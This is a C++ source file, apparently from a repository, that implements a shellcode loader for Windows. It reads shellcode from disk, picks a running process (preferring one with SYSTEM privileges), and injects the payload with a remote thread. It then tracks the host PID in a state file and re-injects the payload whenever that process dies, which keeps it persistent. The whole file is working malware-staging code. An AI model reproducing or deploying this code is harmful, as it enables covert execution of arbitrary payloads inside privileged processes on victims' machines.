Files
loader/HostStager.cpp
2026-11-03 20:45:39 -08:00

368 lines
8.3 KiB
C++

#include "Common.h"
#include "HostStager.h"
#include "HostSpawn.h"
#include "ShellcodeUtils.h"
#include "Logger.h"
#include "Paths.h"
#include <sstream>
#include <vector>
static std::string ToUtf8(const std::wstring& w)
{
if (w.empty())
return std::string();
int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);
if (need <= 0)
return std::string();
std::string out(need, '\0');
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);
return out;
}
static std::wstring FromUtf8(const std::string& s)
{
if (s.empty())
return std::wstring();
int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
if (need <= 0)
return std::wstring();
std::wstring out(need, L'\0');
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);
return out;
}
static std::wstring TrackPath()
{
return ArdrvStatePath();
}
bool GetProcessCreateTime(DWORD pid, unsigned long long& out)
{
out = 0;
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!h)
return false;
FILETIME created{}, exited{}, kernel{}, user{};
bool ok = GetProcessTimes(h, &created, &exited, &kernel, &user) != FALSE;
CloseHandle(h);
if (!ok)
return false;
ULARGE_INTEGER u{};
u.LowPart = created.dwLowDateTime;
u.HighPart = created.dwHighDateTime;
out = u.QuadPart;
return true;
}
bool HostStillAlive(const HostTrack& track)
{
if (track.pid == 0)
return false;
unsigned long long created = 0;
if (!GetProcessCreateTime(track.pid, created))
return false;
if (track.creationTime != 0 && created != track.creationTime)
return false; // PID was recycled into a different process
return true;
}
HostTrack LoadHostTrack()
{
HostTrack t;
std::wstring trackFile = TrackPath();
// One-time migration from the old flat layout.
if (GetFileAttributesW(trackFile.c_str()) == INVALID_FILE_ATTRIBUTES)
{
std::wstring legacy = ArdrvLegacyStatePath();
if (GetFileAttributesW(legacy.c_str()) != INVALID_FILE_ATTRIBUTES)
{
EnsureDirExists(ArdrvRoot());
if (CopyFileW(legacy.c_str(), trackFile.c_str(), FALSE))
DeleteFileW(legacy.c_str());
}
}
HANDLE h = CreateFileW(
trackFile.c_str(),
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (h == INVALID_HANDLE_VALUE)
return t;
char buf[4096]{};
DWORD read = 0;
ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr);
CloseHandle(h);
std::string text(buf, read);
std::wstring wide = FromUtf8(text);
std::wistringstream in(wide);
std::wstring line;
while (std::getline(in, line))
{
size_t eq = line.find(L'=');
if (eq == std::wstring::npos)
continue;
std::wstring key = line.substr(0, eq);
std::wstring value = line.substr(eq + 1);
while (!value.empty() && (value.back() == L'\r' || value.back() == L'\n'))
value.pop_back();
if (key == L"pid")
t.pid = (DWORD)wcstoul(value.c_str(), nullptr, 10);
else if (key == L"created")
t.creationTime = _wcstoui64(value.c_str(), nullptr, 16);
else if (key == L"payload")
t.payload = value;
else if (key == L"host")
t.hostImage = value;
}
return t;
}
bool SaveHostTrack(const HostTrack& track)
{
std::wostringstream os;
os << L"pid=" << track.pid << L"\r\n";
wchar_t created[32]{};
swprintf_s(created, L"%016llx", track.creationTime);
os << L"created=" << created << L"\r\n";
os << L"payload=" << track.payload << L"\r\n";
os << L"host=" << track.hostImage << L"\r\n";
std::string bytes = ToUtf8(os.str());
HANDLE h = CreateFileW(
TrackPath().c_str(),
GENERIC_WRITE,
0,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr);
if (h == INVALID_HANDLE_VALUE)
{
Log(L"[-] SaveHostTrack: create failed: %lu", GetLastError());
return false;
}
DWORD written = 0;
BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr);
CloseHandle(h);
return ok && written == bytes.size();
}
bool ClearHostTrack()
{
return DeleteFileW(TrackPath().c_str()) != FALSE;
}
HostInjectResult InjectShellcodeIntoHost(
const std::wstring& shellcodePath,
const std::wstring& preferredImage,
bool requireSystem)
{
HostInjectResult result;
if (shellcodePath.empty())
{
result.error = L"no shellcode path";
return result;
}
std::wstring full = shellcodePath;
wchar_t abs[4096]{};
if (GetFullPathNameW(shellcodePath.c_str(), _countof(abs), abs, nullptr))
full = abs;
std::vector<BYTE> payload;
if (!ReadFileToMemory(full.c_str(), payload))
{
result.error = L"cannot read shellcode: " + full;
return result;
}
std::vector<HostInfo> hosts = EnumerateHosts(requireSystem);
HostInfo* chosen = nullptr;
for (auto& h : hosts)
{
if (!h.injectable)
continue;
if (requireSystem && !h.systemToken)
continue;
if (!preferredImage.empty() &&
_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0)
{
continue;
}
chosen = &h;
break;
}
if (!chosen)
{
result.error = hosts.empty()
? L"no host process found (need admin or SYSTEM)"
: L"no injectable host available";
return result;
}
unsigned long long created = 0;
if (!GetProcessCreateTime(chosen->pid, created))
{
result.error = L"cannot read host creation time";
return result;
}
if (!InjectShellcodeIntoExisting(chosen->pid, payload.data(), payload.size()))
{
result.error = L"injection failed into " + chosen->imageName;
return result;
}
result.ok = true;
result.hostPid = chosen->pid;
result.hostSession = chosen->sessionId;
result.creationTime = created;
result.hostImage = chosen->imagePath;
result.method = L"remote-thread";
HostTrack track;
track.pid = result.hostPid;
track.creationTime = created;
track.payload = full;
track.hostImage = result.hostImage;
if (!SaveHostTrack(track))
result.method += L"+track-failed";
Log(L"[host] injected %s into %s pid=%lu",
full.c_str(),
result.hostImage.c_str(),
result.hostPid);
return result;
}
HostInjectResult EnsureHostInjected(bool requireSystem)
{
HostInjectResult result;
HostTrack track = LoadHostTrack();
if (!track.Tracked())
{
result.error = L"no host payload configured";
return result;
}
if (HostStillAlive(track))
{
result.ok = true;
result.hostPid = track.pid;
result.creationTime = track.creationTime;
result.hostImage = track.hostImage;
result.method = L"already-running";
DWORD session = 0;
if (ProcessIdToSessionId(track.pid, &session))
result.hostSession = session;
return result;
}
Log(L"[host] previous host gone (pid=%lu), re-injecting", track.pid);
result = InjectShellcodeIntoHost(track.payload, L"", requireSystem);
if (!result.ok)
Log(L"[-] host re-inject failed: %s", result.error.c_str());
return result;
}
std::wstring FormatInjectResult(const HostInjectResult& r)
{
if (!r.ok)
return L"ERR " + (r.error.empty() ? std::wstring(L"inject failed") : r.error);
std::wostringstream os;
os << L"OK host_pid=" << r.hostPid
<< L" session=" << r.hostSession
<< L" method=" << r.method;
if (!r.hostImage.empty())
os << L" host=" << r.hostImage;
return os.str();
}
std::wstring FormatHostTrack(const HostTrack& t)
{
if (!t.Tracked())
return L"track=none";
std::wostringstream os;
os << L"track pid=" << t.pid
<< L" alive=" << (HostStillAlive(t) ? 1 : 0)
<< L" payload=" << t.payload;
if (!t.hostImage.empty())
os << L" host=" << t.hostImage;
return os.str();
}